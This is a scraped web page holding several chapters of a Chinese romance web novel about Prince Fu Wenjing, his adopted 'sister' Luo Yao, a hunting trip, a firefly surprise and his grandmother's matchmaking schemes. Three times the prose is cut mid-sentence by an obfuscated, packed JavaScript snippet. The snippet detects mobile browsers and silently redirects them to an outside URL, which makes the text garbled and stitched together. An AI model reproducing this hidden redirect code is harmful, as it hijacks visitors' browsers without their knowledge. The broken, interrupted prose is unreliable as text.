d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298407|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又把花环戴在洛瑶头上。 还在兴奋的洛瑶忽然感觉脑袋上一重,仰头发现傅闻璟的花环戴在自己头上,也不生气,反倒是笑起来。 “哥哥,好看吗?”洛瑶双手稳住花环,仰头和傅闻璟对视。 傅闻璟垂眸和她对视,心中忽然漏了一拍,避开视线,缓缓点头,“好看。” “嘿嘿。”洛瑶扭了扭身子,肆无忌惮靠在傅闻璟身上,悬空的双脚一晃一晃,嘴角上翘,心情好极了。 傅闻璟担心她累了,正准备提议回城,洛瑶倒提出要去林子打猎。 “不害怕了?”傅闻璟笑问。 洛瑶摇头,催促道:“不怕,快,哥哥我们快些去,我看到阿玥骑马了,我们不能输给她。” 方才洛瑶上马后,安远便去找安玥,这丫头跟他打赌玩赖的。安玥见安远来,便提议比晒打猎,要是她输了就把那个铺子还给他。 笑话,到了我手里的东西,怎么可能给回去。安玥放下狠话,就让人把她的踏雪牵过来,不等安远反应过来,就策马进林子。 * 傅闻璟听洛瑶这么说,笑着说了句抓稳了,双腿一夹,进了林子。 外侧的林子只有些山鸡野兔之类的,倒是往里走些有狍子、獐子和马鹿之类,洛瑶喜欢兔子,傅闻璟干脆带着她策马进了林子深处。 洛瑶第一次打猎,控制不住的兴奋,仰头想要跟傅闻璟说话,但想起安玥说,打猎时要小声些,免得吓跑猎物,赶忙紧紧捂着嘴。 树林里发出不易察觉的声音,傅闻璟挽弓搭箭,咻地一声,灌木丛中一阵挣扎,很快就安静下来。 跟着进来的侍卫上前查看,“启禀王爷,是一只小马鹿。”侍卫把马鹿搬出来,箭矢贯穿咽部,一箭毙命,马鹿身上都是血。 洛瑶看得眼睛都瞪大了,傅闻璟以为她害怕,正准备把她眼睛遮住,却见她鼓着掌回头,一双眼睛亮晶晶的,“哥哥好好厉害!” “你不怕?” “我为什么要怕?”洛瑶不解。 “没什么。”傅闻璟摆手,让侍卫退下。 见人走远了,洛瑶拉着傅闻璟的衣袖,“哥哥教我射箭好不好?” “好。” 傅闻璟把弓递给她,搭上箭,握着她的手,抬起,拉弓,“手伸直,不要太紧绷,紧绷容易受伤。”说着,一只箭矢应声而出,叮得一声扎在树干上。 “试试?” 洛瑶说了句好,从傅闻璟手中拿过弓,这弓算是傅闻璟身边最轻的一把。 洛瑶咬牙举起,坠得她先写没坐稳,傅闻璟眼疾手快稳住她的腰,洛瑶再次咬牙举起,搭箭,拉弓……拉不开——箭矢软趴趴落在离她不足半丈处。 “呼……” 好重…… 洛瑶长吁一口气,咬牙再次把弓拿起来……拿不起——泄气般把弓往傅闻璟手上一塞,“哼,不学了。” 傅闻璟眼疾手快接过弓,笑着安抚,“你身子弱了些,等好些了我再教你。” “那说好了,哥哥不许反悔!” “不反悔。” “拉钩!” “好。” 傅闻璟嘴角微勾,修长的手指搭上洛瑶白嫩的小拇指,微微弯曲,许下承诺。 “王爷,看着要下大雨了。”安远策马靠近,往日倒没有什么,今日还有洛瑶和安玥,洛瑶身子还有些虚,得趁着大雨前回城。 “走吧。”傅闻璟话音刚落,大雨就噼里啪啦落起来了。 24. 第 24 章 洛瑶举起手挡住头顶上的暴雨,傅闻璟把披风解下,罩在洛瑶脑袋上。 眼前忽然暗了,洛瑶伸手正准备把脑袋上的披风取下来,傅闻璟按住她的小手,“别动。” 说着把她的小手拉进披风里,拽着缰绳策马出了林子。 骏马驰骋的速度极快,洛瑶只觉得耳边呼呼的风声过后,听到傅闻璟清冷温柔的嗓音,“到了。” 洛瑶掀开披风,傅闻璟已经翻身下马,朝自己伸出双手,“下来吧,别怕。” 洛瑶上下马还不甚熟悉,左脚踩着马镫,双手攀着马鞍,右脚跨过马身,踩着马镫的左脚一滑,洛瑶整个人往一旁倒去,傅闻璟眼疾手快把洛瑶捞到怀里。 “没事了,别怕。” 洛瑶双手紧紧抱着傅闻璟腰身,手掌下温度炽热,肌肉贲张。 因着下雨,傅闻璟衣衫尽湿,洛瑶娇小的身子和傅闻璟紧贴着,小小的身子挂在傅闻璟身上。洛瑶把脸埋在傅闻璟颈侧,温热的呼吸夹杂着秋日的凉雨,洒在他的颈边,顺着水滴往深处滑进去。 “下来。” 傅闻璟屏着呼吸,绷着脸,抬手拍了拍洛瑶的后腰,说着就把人放下来。 洛瑶落地,一双水眸和傅闻璟对视,放停下的雨又下起来,洛瑶举起披风搭过傅闻璟头顶,抬头笑着说:“哥哥快进来躲躲,都湿了。” 洛瑶举到手臂都发酸了,傅闻璟弯下腰,拉过一角披风,带着她往马车快步走去。 坐上马车,和洛瑶相对干爽相比,安玥就像个落汤鸡一样,脸侧的头发打湿,一缕一缕贴在脸上,白色的骑装也因飞溅起来的泥土,东一块西一块脏污。 “你怎么那么干净!”安玥不服气,一双脏手作势要往洛瑶身上抹去。 还没得逞,就想起了安远的声音,“阿玥别闹。” 傅闻璟和安远都浑身湿透了,考虑到马车里是女子,骑着马冒雨前行。 * 先前荣安长公主在西山脚下有个庄子,傅闻璟一行人临时到庄子避雨。 四人在庄子里住下,林公公得知消息,带上包裹紧赶慢赶从王府赶来,等到他赶到时,洛瑶已经用饭后跟安玥在后院散步了。 傅闻璟和安远在书房议事,林公公不好待在旁边,便来找洛瑶。 “流萤,这里怎么会有流萤!” 洛瑶扑到一只流萤,它躲在洛瑶的手绢里一闪一闪发光。 “腐草为萤,许是这里草多,便长了不少。”安玥也扑了一只,举在眼前,细细查看。 林公公见洛瑶来了兴致,便给她介绍。 “往年夏季,绕过庄子,往后走,在草堆里,密密麻麻都是流萤,今年天气热了些,马上就要入秋,倒是居然还能见着,真是稀奇。” 洛瑶听着眼珠子一转,拉着林公公到一旁说悄悄话。 林公公捂着嘴,扭着胖胖的身子走了,没一会,又扭着胖胖的身子回来了,手上还带了几个布袋子。 “姑娘,我还带了些人,他们常年在庄子生活。到时候有他们帮忙肯定方便多了。”林公公指着身后跟着五个人。 五人连忙下跪跟洛瑶请安,洛瑶摆摆手,示意他们起来,然后把布袋子分给在场众人,装模做样地清了清嗓子,挺起腰板儿,“等会咱们就去后山抓流萤,大家可要帮我保守秘密,不可以告诉哥哥哦。” “若是告诉哥哥……”洛瑶拉长嗓音,半天想不出什么惩罚。 若是告诉哥哥,那就告诉吧,只当是秘密提前暴露了。 安玥挑眉结果袋子,“连我你也要奴役?” 洛瑶笑嘻嘻抱着安玥的手,带着她往庄子外走,“怎么能叫奴役呢,明明就是帮手!帮手!玥姐姐最厉害了,是我来到淮南府后唯一一个好朋友,玥姐姐不会不帮我的,对吗~” 安玥没好气地点了一下洛瑶的鼻子,“你呀!” 一行人偷偷摸摸,不对,应该说是浩浩荡荡往庄子外去,洛瑶原以为瞒的很好,刚出庄子,傅闻璟就得知洛瑶出去了,他正和安远谈事,便吩咐侍卫长保护好她。 到了庄子外,虽然没有林公公描述的密密麻麻的流萤,倒也不少,洛瑶率先动手,飞快地抓了半袋。 月芽拿着袋子消极怠工,磨磨蹭蹭,被洛瑶发现,叉着腰站在月芽面前,“月芽,你可不能这样!” 月芽泄气,应了声“是,姑娘。”便继续磨磨蹭蹭。 一开始她以为姑娘只是一时兴起,后来看到林公公笑得满脸褶子,月芽就算反应再迟钝,都能猜到洛瑶抓流萤是为了哄傅闻璟开心,这才干得不情不愿。 * 书房里。 傅闻璟和安远相对而坐,桌上的博山炉燃起袅袅烟雾,一旁是已经凉掉的茶。 “幸得洛家灭门案凶手已经落网,不然两淮、苏扬一带的盐税可就出大问题了。” 安远前不久入职淮南府的盐政司,他所说的洛家灭门凶手正是洛政的前同僚,此人勾结户部尚书,曾经被洛政查出贪污扬州盐税,狗急跳墙买凶杀人,致使洛瑶成为无父无母的孤女。 就在前两日,此人和户部尚书相继被捕,安远不仅感叹,户部尚书的手伸的真长,连淮南府盐税都要插一脚。 当年陛下曾下至,淮南府的税收只需上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314391|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交一层,剩下的都归荣安长公主,荣安长公主故去后,便都归傅闻璟。 “不过也不知该说洛姑娘是幸还是不行,爹娘都已故去,但还有兄长侥幸活下来,还为洛姑娘求来了郡主的封号。” 傅闻璟想起几个月前,在江南遇到的洛云牧,端方君子,谦逊有礼,只是…… 当时他不禁想,原来阿瑶兄长是这般,那遭逢巨变之前的阿瑶会是怎样呢? “王爷?” 安远说了许久,见傅闻璟都没有回应,连喊了好几声。 “何事?”傅闻璟恍然回过神来。 安远倒掉凉了的茶,给傅闻璟倒上一杯热茶,“无事,只是下官好奇,王爷打算何时告知洛姑娘还有亲人在世?” 傅闻璟拿杯子的手一顿,垂下眸子,又想起在苏州府和洛云牧的见面。只是当时见面过于仓促,他骑马,洛云牧坐马车,帷帐把洛云牧完全挡住,但洛云牧当时说的话傅闻璟倒是记得清清楚楚。 “阿瑶这两年幸得王爷照顾,先前不好将她接回来,如今家中事情已了,外祖父母年事已高,想念阿瑶得紧,王爷看什么时候方便我去看阿瑶?” 当时自己是说,阿瑶不记得以前的事情,等找到合适的时机,定会告知,到时候会通知洛云牧来接人。 如今安远提起,傅闻璟忽然发现,原来洛瑶总究有一天是要离自己远去。 她不是真正的亲人,只是自己捡回来“妹妹”。 这两年,有洛瑶陪伴,还有她准备的小惊喜,这稀松平常的幸福,让他萌生出不告诉洛瑶的念头,好将她永远绑在自己身边。 傅闻璟不禁胸口一滞,微眯着眼睛深呼吸。 良久,他放下杯子,掩盖住龌龊的想法,一双墨眸沉沉地看着安远,“此事容后再议,阿瑶如今记不得前尘往事,等我找到个合适的时机。” 说完,又对安远再三告诫,“此事,记得保密。” “这事情,整个大熙都知道,就算瞒得了一时,也瞒不了一世,总就会有暴露的一天。”安远不好戳穿,便提醒道。 “那就等到那天来了再说。”傅闻璟嗓音冷得可以冻死人,安远无奈叹气。 安远摇头,似是无意提起,“听说,阿瑶姑娘和扬州府的定远侯世子曾有婚约?” “王爷可知道?” 傅闻璟眉头飞快蹙起又松开,一双凤眸冷冷地看着安远,薄唇微动,“安远,我非那等龌龊之人,对其他人的未婚妻,不感兴趣。” 安远像是恍然大悟,“是我想差了。” 看着傅闻璟远去的身影,安远无奈勾了勾嘴角,也转身离开。 25. 第 25 章 傅闻璟和安远聊完回屋已经是戌时末,手刚放在门上,就窜出一道黑色的人影。傅闻璟侧着身子避开,长臂一身握住黑影的脖子,指尖肌肤滑腻,黑暗中一双大眼和自己对视。 “阿瑶,”傅闻璟连忙松手,俯身察看洛瑶的情况,“可有伤到?” 纤长的手指抚上洛瑶的纤细的脖子,纤细、滑嫩,似乎微微一用力,就可以折断,阿瑶就可以永远陪在自己身边,不会跑了。 傅闻璟眉头一跳,自己怎么会这样想…… 他猛地抽回手,却被洛瑶握在手中。 洛瑶的手小小的,保养得极好,皮肤细腻滑嫩,手指纤细,还没有他的手一半大,小手反扣他的大掌,五指强势插入指缝间,和自己十指相扣。 “哥哥跟我来!” 洛瑶欢快的声音唤回傅闻璟的思绪,还没等他反应,双脚便不自觉跟着洛瑶跑出去。 看着洛瑶拉着自己小跑的背影,傅闻璟忽然笑起来,大跨步向前,和她肩并肩。 罢了,总归有一日她要跟哥哥回家的,这稀松平常的爱意,总究是他不可企及的。 他生来就是孤家寡人。 如此,享受当下就好。 洛瑶带着傅闻璟七拐八拐,到了后院,一靠近,浓郁的花香味扑鼻而来,傅闻璟眉头不着痕迹蹙起。 他下意识想逃离。 洛瑶松开他的手,掏出一条帕子,对傅闻璟指使道:“哥哥,你蹲下一点。” “为何?”傅闻璟挑眉。 “太高了,阿瑶够不到!”洛瑶跺了跺脚。 傅闻璟轻笑,微微蹲下,和洛瑶对视。 对上一双洞悉人心的凤眸,洛瑶垂下眸子,避开对视,傅闻璟好笑地看着她心虚的模样,倒是好奇这小丫头要玩什么把戏。 洛瑶绕道他身后,丝帕遮住傅闻璟一双凤眸,走到他身侧,握着他的手,拉着傅闻璟缓步上前。 越往里走,花香味越浓郁。 傅闻璟脚步犹豫、抗拒,不肯再前进一步,洛瑶便拽着他,到最后拽不动,走到傅闻璟身后,推他进去。 “好了,”洛瑶打了个手势,暗处的仆人收到信号,纷纷解开布袋子,闪烁的流萤纷纷飞出来,“哥哥快看!” 傅闻璟脸色带着不易发现的苍白,僵着手扯下丝帕,浓郁的花香熏得他想吐。 丝帕摘下一瞬间,对上洛瑶亮晶晶的眼睛,还有飞舞的流萤,傅闻璟眉头狠狠一跳。 洛瑶见他呆愣,拉着他的袖子,步入飞舞的流萤中,“哥哥好看吗?” 洛瑶双手虚捧着,上面停留了两只流萤,闪烁地微弱光芒着凉洛瑶柔美的脸庞,洛瑶轻轻一吹,两只流萤携手飞走,淡淡的香气侵袭傅闻璟的呼吸。 傅闻璟甚至觉得洛瑶身上淡淡的鹅梨帐中香竟掩盖住了浓郁的花香,置身花丛间,方才那股恶心的感觉消失殆尽。 傅闻璟定定地和洛瑶对视,似乎透过洛瑶看别人,直达听到洛瑶的声音,才回过神来,“好看。” 腐草为萤,流萤夏日最多,如今已经入秋,想要找到这么多流萤不知道得花费多少功夫。 况且洛瑶还像个脏兮兮的小猫。 傅闻璟抬手,擦掉洛瑶脸上的脏污,心底微酸的,“辛苦阿瑶了。” 洛瑶极力忽略掉傅闻璟方才的眼神,咬着牙根压住心中的酸涩,扬起个笑容,“不辛苦,哥哥喜欢就好。” 傅闻璟手一顿,手指微微蜷起,呼吸微滞。半晌,反握住洛瑶的手,纹身呢喃,“阿瑶……” 阿瑶……这般,我如何舍得…… * 躲在暗处的林公公见状,赶紧把围观的人赶走,一旁的月芽一步三回头,林公公干脆上手把她推走,天知道方才他多紧张,现在好了,一切水到渠成。 “姑奶奶走吧,被打扰姑娘和王爷。” 月芽错开林公公的手,“哼,虚情假意,方才王爷的神色我都看到了,也不知道是不是真心的。” 林公公闻言,立刻捂住月芽的嘴,“哟,姑奶奶这话可不能说,我知道你担心姑娘,但话不能这么说……” 月芽扯扯嘴角,冷哼一声。 “哎哟,姑奶奶求您了,我一把年纪了,我可不想掉脑袋。” 林公公担心月芽说出什么大逆不道的话,赶紧把人带走。 傅闻璟深呼吸,平复汹涌澎湃的情绪,“抱歉,阿瑶我……” 洛瑶白嫩的脸上更是煞白,脚尖躲在裙摆里转圈圈,含糊地说了句,“没关系。” 不是我也没关系。 傅闻璟看着满院的鲜花,思绪飘回了十年前那个春天,没听到洛瑶说什么,但还是嗯了一声。 傅闻璟拉着洛瑶在台阶坐下,随手摘了一朵花,放在掌心,五指收拢,用力,一朵娇艳欲滴的花朵,花瓣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336966|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散落,花蕊零散,残败不堪地躺在他手里。 洛瑶不明所以,接过花朵,轻轻拭去傅闻璟手上残留的花粉和汁液,她知道哥哥不喜欢手上脏脏的。 “阿瑶,我跟你讲个故事吧,”傅闻璟声音冷清,“我娘去世,就是在百花盛开的春天,她穿着见我爹第一面的素白宫装,饮下了鸩酒,然后倒在了百花丛中。” 那日傅闻璟刚送夫子离府,一个名叫箬初的丫鬟来喊他,说是母亲找他。当时的傅闻璟以为荣安长公主是想考自己学问,撒腿跑到荣华阁,一进去傅闻璟就看到荣安长公主口吐鲜血,倒在花丛中。 他冲上前抱住荣安长公主,大声喊人,傅闻璟第一次知道,原来人有这么多血,能把衣裙染红,从里到外。 那日天气晴朗,惠风和畅,荣华阁鲜花盛开,浓郁的花香,他坐在门口,呆滞地看着随风摇摆的花朵,身后仆人太医府医甚至是从民间找回来的大夫,进进出出,好不热闹。 后来,荣华阁的花香被浓浓的药香掩盖,傅闻璟坐在荣安长公主身边,一勺一勺喂药,可是那药就是不听话,从她的嘴角滑落,沾湿了帕子,弄脏了里衣。 林公公跟他说,长公主已经走了,但傅闻璟就是不相信,还是固执地一勺一勺喂药,似乎把碗中的药都喂完,她就会醒来。 可是,最后她还是走了。 “她明明跟我说,要陪我一辈子,可是她分明是去找父亲了,她怎么可以食言。”傅闻璟声音微微颤抖,五指紧握成拳,修剪整齐的指甲嵌进掌心。 “哥哥。”洛瑶小手覆上紧握拳头,用力掰开五指。 洛瑶担心他情绪激动自伤,一手和他十指相扣,一下一下拍着他的背,就像当初在扬州驿站,李婆婆安抚自己一样。 两人静默,相顾无言。 在洛瑶的安抚下,傅闻璟总算缓了过来,他垂眸看着洛瑶的小脑袋,鼻尖是鹅梨帐中香和浓郁的花香,他忽然发现,自己不讨厌花香了。 洛瑶靠在傅闻璟手臂,困得眼睛已经闭起来了,但手还是一下一下拍着傅闻璟的后背。 傅闻璟微微低头,鼻尖抵住洛瑶的发髻。 阿瑶,你说我该如何办才好…… 洛瑶迷迷瞪瞪,下意识脱口而出,“哥哥别怕,阿瑶陪你一辈子,一辈子……” 傅闻璟像是做了重要决定,声音沉沉,“好,一辈子,不许……骗我。” 26. 第 26 章 洛瑶第一次来庄子上,秋日庄子周围金灿灿的,煞是好看,洛瑶也喜欢得紧。 加之安玥过些日子要随母亲去山中寺庙礼佛,届时便是苦修,没有这般好日子,一行人便在庄子上多住了两天。 晋王府。 那日马嬷嬷在院中见到洛瑶和傅闻璟后,数步一回头,紧紧盯着洛瑶和傅闻璟交握的双手,若有所思回到韶华阁。 “素秋。”傅老夫人喊了马嬷嬷,没听到马嬷嬷回应,又连连喊了好几声,“素秋,你今日怎么了。” 马嬷嬷本名马素秋,是傅老夫人尚是侯府丫鬟时的手帕交,傅老夫人后来爬床上位后,立刻把马嬷嬷调到自己身边伺候,又给马嬷嬷找了户不错的人家嫁过去,马嬷嬷念在老夫人多年情分,一直在傅老夫人身边伺候。 “无事,只是今日见到王爷和洛姑娘了。” 傅老夫人听到马嬷嬷提及洛瑶时,尚且上扬的嘴角立刻往下撇,若不是这个小妮子,闻璟哪里会和自己生分。 就如同当初荣安一样! 不要脸的狐媚子! 提起荣安长公主,傅老夫人便气不打一处来。 当年她好不容易斗倒侯夫人上位,眼看着诰命封号马上就落到自己身上,却被荣安那个贱人一个折子给驳回去,到手的诰命飞了还不止,荣安那个贱人还给死了不知道多少年的原配李氏请封。 马嬷嬷看傅老夫人一肚子火气,给她倒了杯茶,提议道:“洛姑娘终究是无父无母的孤儿,担不起世家大族长媳的身份,老夫人既然担心他日王府落在她手上,还不如提早些给王爷相看?” “你以为我不想给闻璟相看吗,”傅老夫人重重把茶盏一放,“当年我提议给闻璟定下我娘家姑娘的娃娃亲,荣安却说闻璟的婚事自有她兄长作主。” “她兄长是谁,她兄长是当朝皇帝陛下,我哪敢!” “你又不是不知道,荣安嫁进侯府后,从来没有把我当长辈敬重,她性子跳脱不服管教,我便睁一只眼闭一只眼,她不愿晨昏定省,我也认了,千不该万不该,她最不该让闻璟不把我当祖母!” 傅老夫人气得连连拍桌,“你看那几日洛瑶给我晨昏定省,不正是跟十年前的荣安一个模子刻出来的吗!” 马嬷嬷生怕傅老夫人又气晕过去,赶忙上前给她顺气,“如今长公主不早已化为一坡黄土了吗,老夫人不必这般生气。” “当年也幸得你女儿和孙女,不然都不知道荣安得在侯府作妖多久。” 傅老夫人忽然提起当年事,马嬷嬷避开话头,话题引导傅闻璟婚事上来,“与其纠结当年,老夫人不如放眼未来,做长远打算。” “如今长公主已逝,陛下远在京城,淮南府又不是天子脚下,山高皇帝远,加上王爷也不是不敬重您,只不过当年一事,您行事过于着急,才惹得王爷生气,和王爷生分,这才让那人趁虚而入。” “如今老夫人既然回了王府,那王府后院总归得有个女主人操持,洛姑娘身份够不上咱们王爷,若是等日后王妃入门了,洛姑娘再做个小的进门,也不是不行。” “洛姑娘不服管教,那就等王妃进门后,再好生教导,老夫人也落得个清净。” 马嬷嬷这番说辞,说到了傅老夫人心坎里,惹得她连连点头。 四年前,确实是她操之过急了。 还没等她说话,傅老夫人又听到马嬷嬷继续说,“既然齐家的姑娘不想当王妃,不如在这淮南府找,咱们如今又在淮南府,知根知底的,方便不少,加上王爷如今的身份在淮南府可是这个,”马嬷嬷说着就比起大拇指,“老夫人还担心找不着想当王妃的人吗。” 傅老夫人挑眉,“你的意思是?” “不久便是重阳佳节了,菊花开得更胜,老夫人不如办个赏菊宴。” 在马嬷嬷的引导下,傅老夫人瞬间就来了精神,让马嬷嬷去搜寻淮南府贵女的画册,说是要了解,再邀请参加赏菊宴,省得来了些气人的玩意。 * 傅闻璟和洛瑶从庄子回来已经是两日后,傅老夫人将淮南府贵女画册翻了一遍又一遍,总算是挑选出邀请的人选。 “老夫人打算在五日后办个赏菊宴,不知道王爷是否有空?”马嬷嬷前来请示,瞥了眼坐在傅闻璟身侧的洛瑶,神色不明。 傅闻璟蹙了蹙眉,手指点了点洛瑶握笔的手,“我素来不喜参加花宴,就不参加了。” 马嬷嬷应了声是,又看了眼像是整个人靠在傅闻璟怀里的洛瑶,躬身告退。 “哥哥为什么不喜参加花宴?”洛瑶杵着毛笔抵着额头,好奇问道。 洛瑶回想了一下有限的记忆,淮南府宴会的帖子都会送到王府,但傅闻璟似乎都没有参加。 “不喜欢,”傅闻璟淡淡说了句,垂眸看见洛瑶白嫩的小脸上沾了墨迹,笑着给她擦干,越擦越像个小花猫,忍不住笑出声。 洛瑶不明所以,茫然看着傅闻璟,“哥哥笑什么?” 说着又看了眼在屋内伺候的林公公,林公公看洛瑶这般模样,也忍不住笑起来,“姑娘脸上沾了墨痕,老奴让人打水给姑娘清洗。” 丫鬟捧着铜镜和脸盆进来,洛瑶看着铜镜里自己,又羞又气,回头瞪了傅闻璟一眼,哼了一声,才拿起帕子恨恨地擦着脸蛋,嘴上还不停地控诉傅闻璟,“哥哥太坏了。” 傅闻璟看着月芽给她戴好镯子,顺着方才的话题说下去,“男子参加花宴,多半是仕途不顺,沽名钓誉之辈,期望一首咏花诗便获得达官贵人的青睐,从此前途一片光明。” 洛瑶懵懂的点头,她平日参加的花宴都只有女子,这般弯弯绕绕当真麻烦。 * 在书房练习了大半个时辰,蒋明来报军中有事,傅闻璟与他一同离开,洛瑶一个人写字没意思,便带着月芽到了湖心亭,又在湖心亭待了一个时辰,洛瑶便看到马嬷嬷带着一群人匆匆走过。 “月芽,那是谁?” 顺着洛瑶的手指看过去,打头的女子忽然回头,月芽眯着眼仔细辨认,“姑娘您忘了吗,这是今年花神节的主家,州牧府的李青青李姑娘,另外一位,看着像是李姑娘的祖母。” “也就是州牧府的老夫人。” 这两年洛瑶虽然来了淮南府,但身子弱得很,鲜少出门,倒是安玥时常来府中陪伴,因而洛瑶对淮南府其他世家知之甚少,能了解的多半是安玥告知的,但比起人,安玥更喜欢小花,因而知道的也不多。 正想着一声猫叫声打破安静,洛瑶侧目,看到小花迈着优雅的步伐走过来,到洛瑶脚边,用力一蹬,稳稳跳上洛瑶膝头,然后懒懒的躺着。 后面是着急跑过来的丫鬟,方才小花跑出兽舍,她们追了半个王府,生怕把猫弄丢了,幸好笑小花只是来找姑娘。 “你们先回去吧,晚些时候我把它送回兽舍。” 月芽打发走跟过来地丫鬟,回头看见洛瑶和小花玩得不亦乐乎,便蹲 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“李姑娘,请喝茶。”月芽把茶盏放在李青青面前,飞快看了眼李青青,然后垂眸站在洛瑶身边,接过洛瑶怀中的小花。 “怎么平日不见洛姑娘出府参加宴会呢?”李青青抿了一口茶,敛下眼中的嫉妒,“不过王府精致这般好,若是我,我也不愿意出门。” 洛瑶听着不甚舒服,但还是礼貌回应,“我身子不好,不适合经常出门,前几日出么遇到风雨,回来便染了风寒,卧床歇息好几日。” “洛姑娘的身子确实差了些,先前我说我府上有位府医,擅长不足之症,改日我带过来给姑娘瞧瞧。” 洛瑶抿了抿唇,嘴角微翘,笑意不达眼底。 月芽见状,替洛瑶回绝道:“让李姑娘费心了,只是我家姑娘不宜经常换药方子。” 闻言,李青青笑意微凝,很快又恢复如常,“是我考虑不周,不过多几个人看诊,集多方智慧,说不定能选出最适合阿瑶的药方。” 李青青忽然改了口,从洛姑娘到阿瑶,洛瑶不适应,也说不出是哪里不适应,只是秀眉微拧,脸色微滞。 “阿瑶是哪里不舒服了吗?不如我送你回屋吧。” 李青青说着要扶洛瑶起身,倒是洛瑶拒绝了,“没有,许是秋老虎的原因,胸口有些闷,缓一缓便好了。” “还没问李姑娘今日怎么有兴致到王府来?” 以往王府只有洛瑶和傅闻璟在时,到府里来的只有安玥兄妹和傅闻璟的部将,淮南府官员倒是鲜少看见。 李青青打量洛瑶,见她神色如常,笑道:“祖母听闻傅老夫人回了淮南府,说是要来探望老朋友,这才带着我来王府。” “如此,那我便不打扰李姑娘了,”洛瑶起身,“我也是时候吃药了,李姑娘请自便。” 洛瑶说完便带着月芽和小花离开了。 李青青身边的婢女盯着洛瑶远去的身影,忿忿道:“什么人,这么没礼貌,姑娘你也由着她欺负你。” “无事。”李青青笑道,起身环顾湖心亭的景色,虽无群山环绕,但视野宽阔,比州牧府的后院好上许多了。 “真羡慕洛姑娘一个孤女,居然能享受这般美景。” 李青青拿起方才喝茶的杯子,在手指间把玩,嘴角微勾,眼神坚定,收紧五指,“不过,很快都属于我的,” 27. 第 27 章 “走吧,回韶华阁。”李青青随手把杯子一放,甩了甩衣袖,径直离开,只剩下杯子在桌面圆溜溜地转,最后转到桌边,“嘭”地一声,应声而碎。 韶华阁里,傅老夫人和李老夫人相谈甚欢。 李青青脚步轻快地进了韶华阁,“老夫人。”李青青屈膝给傅老夫人行了个礼,又快步走到李老夫人身边,“祖母。” “我这孙女脾性未定,现在还那么跳脱。”李老夫人拉着李青青的手,慈爱地拍了拍。 傅老夫人看了眼马嬷嬷,笑道:“我看青青倒是好得很,比在咱家客居的阿瑶好多了。” “可不是嘛,李姑娘规矩足,阿瑶姑娘脾气娇蛮,哪有李姑娘这般讨人喜欢,”马嬷嬷顺着傅老夫人的话说下去,“前不久,都跟阿瑶姑娘说了晨昏定省,阿瑶姑娘偏偏跟老夫人反着来,也是寒了老夫人的心呐。” 傅老夫人状态心痛的模样,看了眼李青青,见她神态自若,心中满意,“青青是名门闺秀,可不是阿瑶那孤女能比的。” “若不是闻璟救她回来,也知道这妮子有没有命活下来。”傅老夫人语气里满是对洛瑶的贬低。 李青青闻言,脸色依旧不变,虽不喜洛瑶,但心中也难免觉得傅老夫人的行为上不得台面,她反握住自己祖母的手,朝她扬了扬嘴角,微不可察地摇了摇头。 李老夫人和李青青对视良久,撇开视线,暗自叹了声。 聊到金乌西下,李老夫人和李青青回府,等两人走后,傅老夫人满意地点头,“这李青青,脾气温婉,耐得住性子,是个好拿捏的。” “那老夫人是要定下她?”马嬷嬷问道。 傅老夫人沉吟良久,缓缓摇头又点头,“性格虽好,优点是家世高,洛瑶对上她没有还手之力,缺点也是家世高,若是我与她真的硬碰硬,怕是难办。” 说完傅老夫人又犯难,“但是除了她,淮南府似乎也没有合适的人选。” 马嬷嬷垂着眉头,跪在老夫人身旁给她按腿,“不如先定下,等到五日后赏菊宴,老夫人再一一比对?” “这个主意好,到时候你就在一旁帮忙看,若是有合适的姑娘,先记下别的咱们再说。” 李府马车上,李老夫人拉着李青青苦口婆心。 不是她看不上晋王府,是她看不上傅老夫人,都这个岁数了,好歹也是王府长辈,这做派太小家子气了,到底是爬床上位的。 洛姑娘虽然是个孤女,但这主仆一唱一和败坏一个姑娘的名声,当真是上不得台面。 “祖母,你别担心,老夫人那手段,在府里早就见过了,你不必担心孙女会吃亏。”李青青安抚道。 李老夫人重重叹气,“你就那么喜欢他?” 李青青垂着脑袋害羞地点点头。 一想到傅闻璟芝兰玉树的面庞,孔武有力的身姿,李青青就想起几年前意外坠马,傅闻璟出手相救的场景,当时她埋头在傅闻璟的胸膛,鼻尖是傅闻璟管用的檀香,如今想起,鼻尖似乎还萦绕着熏香,李青青脸颊瞬间烫了。 除去当年的救命之恩,更重要的是傅闻璟是淮南府地位最高的人,她李青青要嫁就嫁最厉害的,其他人他配不上她。 “罢了,”傅老夫人看她少女怀春的模样,也想开了,说到底,儿孙自有儿孙福,“你喜欢便好。” * 五日后,晋王府后花园的梅园里举办了赏菊宴。 说是赏菊宴,其实也就只有几盆菊花,不过和寥寥可数的菊花相比,淮南府受邀的贵女们,除了安玥,其他都来了。 衣香鬓影,婀娜多姿,洛瑶路过时,忽然想到这两词。 